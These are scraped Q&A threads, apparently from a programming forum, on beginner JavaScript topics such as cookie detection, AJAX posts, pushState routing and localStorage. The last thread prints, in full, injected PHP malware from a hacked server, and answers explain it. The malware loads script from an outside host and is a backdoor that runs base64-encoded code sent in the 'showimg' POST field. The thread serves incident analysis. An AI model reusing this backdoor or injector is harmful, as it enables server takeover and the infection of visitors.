On the html page of a custom built shopping cart, I need to be able to send a post back to our server to tell it whether or not cookies are enabled.
I have the appropriate javascript on the page to detect cookies enabled/disabled (via navigator.cookieEnabled), which does nothing if it detects cookies enabled, and posts a message if they’re not enabled. I need to go beyond just posting a message.
I don’t want the user to be able to click the purchase button, the html for which (along with the cart itself, and all the items the cart contains) is generated by our database software on our server (using associated cookie ID to generate the cart on the website).
I can not figure out how to get the boolean value (enabled/true or disabled/false) out of the javascript and post that info (true or false) back to our server, where I can detect an incoming connection from the website.
Very much a novice where it comes to JS, so go easy on me!
Thanks in advance for any input you can give me, or point me in a direction…
Here is followup based on answers received:
On the cart page (which is displayed when user hits a “Buy This” button elsewhere on the site, to purchase something) is this JS:
<div id="demo"></div>
<script>
var xyz = "";
xyz = "Cookies Enabled: " + navigator.cookieEnabled;
document.getElementById("demo").innerHTML = xyz;
if (navigator.cookieEnabled) {
xyz = "";
} else {
xyz = "Cookies seem to be disabled in your browser.";
}
document.getElementById("demo").innerHTML = xyz;
</script>
So, there is a true/false value generated within the JS. Then, to build the cart, as the html page loads, I send a call to our web server, via this (which is part of the html code on the same page as the above JS):
"4DHTML vCart"
(this is enclosed within comment tags, although it is not a comment. I couldn't put it within comment tags in this edit, because it got ignored). It is picked up by a method called “On Web Connection” in our web server software, which is written in 4th Dimension (it’s basically 4D code embedded in the html, and the comment tags are part of the protocol).
The 4D code then builds the cart and sends it (the cart page) back to the website as an html file.
So… when the call is picked up by the OWC method, I can detect incoming vars from the html cart page, which come in in arrays, and can parse those values. The problem is, the boolean values I want are in the JS and I don’t know how to represent them outside of the JS.
Thank you for your time and consideration on this.
It sounds like you are trying to do an AJAX post back to the server. Try something like this:
<script>
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if(request.readyState === XMLHttpRequest.DONE) {
if(request.status === 200) {
//PERFORM ANY ADDITIONAL ACTIONS AFTER A SUCCESSFUL POST HERE...
} else {
alert('An error occurred. Please try again.');
}
}
}
var xyz = "";
xyz = "Cookies Enabled: " + navigator.cookieEnabled;
document.getElementById("demo").innerHTML = xyz;
if (navigator.cookieEnabled) {
xyz = "";
request.open('POST', 'http://yourpostbackurl.com/enabled');
request.send();
} else {
request.open('POST', 'http://yourpostbackurl.com/disabled');
request.send();
xyz = "Cookies seem to be disabled in your browser.";
}
document.getElementById("demo").innerHTML = xyz;
</script>
Related
I am beginner in Javascript. I am currentlyworking on a Phonegap app with it. I am stuck in between as I have 4 html pages for signup process, and I have to pass all the html pages input value to single js file as in final all data must be POSTed to server URL and also I have read on many sites that they have recommended using same js file for all the pages of your site to speed up the site. So I have two problems to solve. I searched on many sites but could not find the accurate answer.
I need to pass 4 html page's input value to single js file.
I have to make single js file for both sign-in and sign-up.
My codes for JS page is:
var firstName="";
var lastName="";
var email="";
var password="";
var retypePassword="";
var gender="";
var DOB="";
var institute="";
var course="";
var branch="";
var semester="";
var teachers = [];
function signUpStarting() {
alert(firstName + " "+lastName+" "+email+" "+password+" "+retypePassword+" "+gender+" "+DOB+" "+institute+" "+course+" "+branch+" "+semester+" "+teachers.join(","));
}
function signUp1() {
firstName[0] = $("#first_name").val().trim();
firstName[1] = $("#last_name").val().trim();
email = $("#email").val().trim();
password = $("#password").val();
retypePassword = $("#retype_password").val();
alert(firstName + " "+lastName+" "+email+" "+password+" "+retypePassword);
}
function signUp2() {
gender = $('#gender').find(":selected").text();
DOB = $('#DOB').val();
alert(gender+" "+DOB);
}
function signUp3() {
institute = $('#institute').find(":selected").text();
course = $('#course').find(":selected").text();
branch = $('#branch').find(":selected").text();
semester = $('#semester').find(":selected").text();
alert(institute+" "+course+" "+branch+" "+semester);
}
function signUp4() {
$(":checkbox" ).map(function() {
if($(this).is(':checked')){
teachers.push($('label[for="' + this.id + '"]').text());
}
});
signUpStarting();
}
In html pages I am calling JS functions for each pages:
On first page:
<a onclick="signUp1()" href="register-two.html">continue</a>
On second page:
<a onclick="signUp2()" href="register-three.html">continue</a>
On third page:
<a onclick="signUp3()" href="register-four.html">continue</a>
On fourth page:
<a onclick="signUp4()">continue</a>
On each transaction from one page to next I have set alert in JS, and I am getting alert with accurate values also. But after clicking the continue button from fourth page of html, I transferred the code to main signup function. I tried to see alert in signUpStarting() function but there I am getting response of just fourth page values and other values are showing nothing as the variables are null.
I am not getting how to save variable values for always without using localStorage or cookies and POSTing all data to server.And I think this would have been easier if I would know to code for all html pages for my site to single JS file.
Please help me !
I am not getting how to save variable values for always without using localStorage or cookies and POSTing all data to server.And I think this would have been easier if I would know to code for all html pages for my site to single JS file.
This is exactly right. You cannot store data in memory between page loads in a web browser environment because all javascript variables are naturally destroyed when the browser navigates away from the page to a new page (even if they use the same javascript on both pages). Thus, you have to save it somewhere with more permanence: localStorage, cookies, or on the server via POST or GET.
What I would recommend is scrapping the four different html pages and simply using one html page that changes dynamically as the user fills in data. This way the browser will not eliminate data before you are ready to POST it to the server.
My website structure is as follows:
public_html/
- index.php
- students.php
The user loads the site (index.php) which contains a button. When this button is clicked AJAX is used to load "students.php" and it is displayed to the user (As if they just went to a different page seamlessly). When doing so the following JavaScript is run:
var state = {'Page' : 'Students'};
history.pushState(state, null, "students");
This adds a state to the browsers history and causes the browsers URL to display "example.com/students" instead of "example.com". However if a user was to refresh at this point, nothing would load (404 Not Found) due to the folder "students" not actually existing.
My question is, how can I get the users browser to actually display "index.php" and automatically take them to the students page. In other words, the user refreshes "example.com/students" and what actually happens is the user is taken to the index.php file and the AJAX automatically takes them to the students page (As though they actually refreshed the page)
Note: I am aware I can pass null to the url parameter in "pushState()" however this URL behaviour is desired as it would allow users to quickly jump to a page (If I can get it working)
The full code to show the students page via AJAX is as follows:
/**
* Display students screen.
*/
function displayStudents(createState) {
if(typeof(createState)==='undefined') {
createState = true;
}
$("#container").css("width", $( window ).width());
$("#container").css("position", "fixed");
$("#container").animate({marginLeft: "-100%"}, ANIMATION_SPEED);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
$("#container").css("margin-left", "100%");
$("#container").html(xmlhttp.responseText);
$("#container").animate({marginLeft: "0"}, ANIMATION_SPEED, null, function reset() {
$("#container").css("width", "100%");
$("#container").css("position", "relative");
});
if(createState) {
var state = {'Page' : 'Students'};
history.pushState(state, null, "students");
}
}
};
xmlhttp.open("GET", "students.php", true);
setTimeout(function() { xmlhttp.send(); }, ANIMATION_SPEED);
}
Most of the code here is for animation.
In other words, the user refreshes "example.com/students" and what actually happens is the user is taken to the index.php file and the AJAX automatically takes them to the students page (As though they actually refreshed the page)
The point of pushState is that when you use JavaScript to transform the state of the page, you provide a URL which the server can use to deliver some HTML that will provide the page in that state.
If you are always going to serve up the homepage and then transform it with JavaScript, then just use hashbangs. pushState is entirely the wrong tool for the job.
If you were to use pushState, then a pseudocode implementation of a possible approach would be along the lines of:
GET data needed for the page
IF `Accept` header prefers `application/json`
Output `Content-Type: application/json` header
Output data in JSON format
ELSE
Output `Content-Type: text/html` header
Pass data through the template for the page
Output template as HTML
And you would use students.php in the URL instead of students (or you would make students resolve to the PHP code you wanted to run instead).
Since you are using raw XMLHttpRequest, you will need to use setRequestHeader to set the Accept header. You are using jQuery though, so you could just use $.ajax and pass it dataType: "json".
Ok... so a user enters info into the journal field and hits submit, and a function gets called on the information they have submitted, which I call changeTextComment(). That function calls another function and so on as the info is formatted and placed in the cue, as in a Facebook commentary.
I need this information saved so it can be recalled later, in local storage, making the app not refresh every time I restart it. So...
<script>
function appCache() {
// Check browser support
// this is experimental for local storage...
more here: http://www.w3schools.com/html/html5_webstorage.asp
if (typeof(Storage) != "undefined") {
localStorage.setItem(para);
// Retrieve
document.getElementById("journal").innerHTML = localStorage.getItem(para);
} else {
document.getElementById("result").innerHTML = "Sorry, your browser does not support Web Storage...";
};
</script>
So looking at the appCache function it seems like it might work except I need to identify what the key variable is that will be stored and then retrieved.
I think this is the variable userInput, as any time the user hits the 'add to journal' button this variable is used to store the user input and then put into the changeTextComment() function.
I am wondering if this is the simplest way to deal with this whole thing... I do not yet understand databases, but wondering if that would be easier to learn.
In this case, I would add the function Appcache() to the function changeText() such that it caches the variable and then how would I set it up to then feed the value of the variable's cached info into changeText() upon launch of the app?
Every submission to the journal will have a unique value.
Heres the ChangeTextComment() Function... still sorting out how to use classes in css to simplify these functions:
function changeTextComment(){
// to be modified from the above to change the location of the dump
var userInput = document.getElementById('userInput').value;
// get the input from the user
var panel = document.createElement("div"); // create a parent divider for everything
// assignment of attributes
panel.setAttribute("class","panel panel-default panel-body");
panel.setAttribute("id","panelBody");
var para = document.createElement("P");
var t = document.createTextNode(userInput);
para.appendChild(t);
// add comment area
var c = document.createElement("INPUT");
c.setAttribute("type", "text");
c.setAttribute("id", "comment");
c.setAttribute("placeholder", "comment here");
c.setAttribute("class", "form-control input-lg");
// add comment button attempt -- success <> now try to put it in the textarea
var d = document.createElement("INPUT");
d.setAttribute("type","button");
d.setAttribute("class","btn btn-info active pull-right");
d.setAttribute("onclick","commentThis()");
d.setAttribute("value","Add Comment");
panel.appendChild(para); // this is where a comments piece would go
// place the item
var destination = document.getElementById("journal")
//destination.insertBefore(Commentaryarea, destination.firstChild);
//destination.insertBefore(panel, destination.firstChild);
destination.insertBefore(panel, destination.firstChild);
panel.appendChild(c);
panel.appendChild(d);
document.getElementById("userInput").value = "";
document.getElementById("userInput").focus();}
</script>
<script>
function setText(a){
document.getElementById("userInput").value = a
document.getElementById("userInput").focus();
}
</script>
When you say "stored locally", do you mean stored in the visitors browser, i.e. with only themselves being able to see it and retrieve it? Or do you want other users to be able to see the data, and/or the commenter to be able to see it if they log in later from another location?
If it's the latter then you need to store it on the server side, and you're going to need a database for that. If all you need is to store journal entries then mongoDB is easy to set up with javascript, but if you have a lot of relations (journal entries being associated with users, comments on entries being associated with users and entries, ect) then perhaps an SQL database would suit you better.
so I received an obvious phising email today with this js code in it:
<script type="text/javascript" language="Javascript1.1">
<!-- Begin
var bCancel = false;
function validateRegistrationDetails(form) {
hmrc.portal.clearFieldValidationErrors(form);
if (bCancel) {
return true;
} else {
var registrationDetailsPageMessage = new String("<p>ERROR: This page contains one or more errors. See details below.</p>")
var formValidationResult;
formValidationResult = validateRequired(form) & validateMask(form) & validateIdenticalEmailAddresses(form);
if (!formValidationResult){
var formName=form.name;
var ele=document.getElementById('pageError.registrationDetails');
if(ele){
ele.innerHTML = registrationDetailsPageMessage;
ele.style.display = ''; }
}
return (formValidationResult == 1);
}
}
function registrationDetails_required () {
this.a0 = new Array("selectedServices", "<p>ERROR: Please select at least one online service.</p>", new Function ("varName", " return this[varName];"));
}
function registrationDetails_mask () {
}
function registrationDetails_identicalEmailAddresses () {
}
//End -->
</script>
Is it malicious in anyway, what exactly does it do with the form data. I am not that versed in vanilla javascript. Any explanation would be helpful.
Thanks
In all likelihood, whoever sent you this simply lifted a section of HTML and inline JavaScript from the site they were trying to pretend to be. A few lines in the code such as:
hmrc.portal.clearFieldValidationErrors(form);
suggest that they were trying to be HMRC, with the rest of the code being simple validation of the information being entered; I'm going to guess that the content was taken from the 'Registration' section of that site
So you've already established that it's a phishing email.
Typically phishing emails try to make themselves look legitimate by copying large chunks of code from the original website that they're trying to pretend to be (ie your bank's site or whatever). They'll then alter that code so that it sends the relevant data to the phisher rather than to the bank. They may also add fields that weren't in the original, such as asking for your PIN, etc.
However, the main point here is that the bulk of the original code is generally retained, in order to maintain the look and feel of the original site.
Therefore the chances are that the code you're seeing has actually been copied by the phishers from the original site.
There's nothing explicitly malicious about this code in itself -- it has a lot of badly written code, but it isn't trying to do anything wrong in this code.
Where the problem lies for the phishers here is that Javascript code is blocked by most email clients; ie regardless of its intent, the chances are that that this code won't actually work in your mail client.
But I would guess that the phishers have just taken the original form wholesale from the website and dumped it into an email without bothering to take out any javascript that might have been embedded in it.
So the short answer is: Don't worry about this code in particular, but please do delete the email.
As far as I can see, there's nothing malicious with it, unless some script has been included outside of this script itself.
Our server got hacked via some SQL Injection method (now patched). All our PHP files got this added to the very top of each file.
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!#$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
It seems to set a cookie but I don't have the first idea what it does.
Any experts able to understand what this does and potentially what the Cookie Name that is created may look like so I can tell any users etc
UPDATE
Seen the exploit was due to a plugin in the Zenphoto Gallery Software called Tiny_MCE.
First it sets a cookie. (named lb11) to the value 102.
If it (later?) finds the cookie, it sets the cookie to a random value
between 1000 and 9000, so that it doesn't do this again: Has the user
request (and execute) a javascript, which sends which which infected
URL made the call, and then refresh the page, (so nothing appears to
have happened after the javascript has run.
But in any case, if the "showimg" parameter is passed to the page, it
looks at the content of that page, and executes it on the server.
So, If this code is present, it will run javascript, (which also informs the server which URL is infected, and then let the person run arbitrary code (via the showimg parameter) on the infected server.
This has 2 layers of attacks, it can attack the client with javascript, and can later attack the server and run arbitrary code on it.
I could be wrong here, but from the looks of it (without testing the links in the code); it could be trying to inject some client-side javascript which could be malicious. This would usually infect the visitors computer with malware etc.
As for the cookie name. I would get your visitors to remove all cookies for your domain, but from the looks of it, the cookie is called "lb11"
I didn't fancy looking at the links as you can understand ;)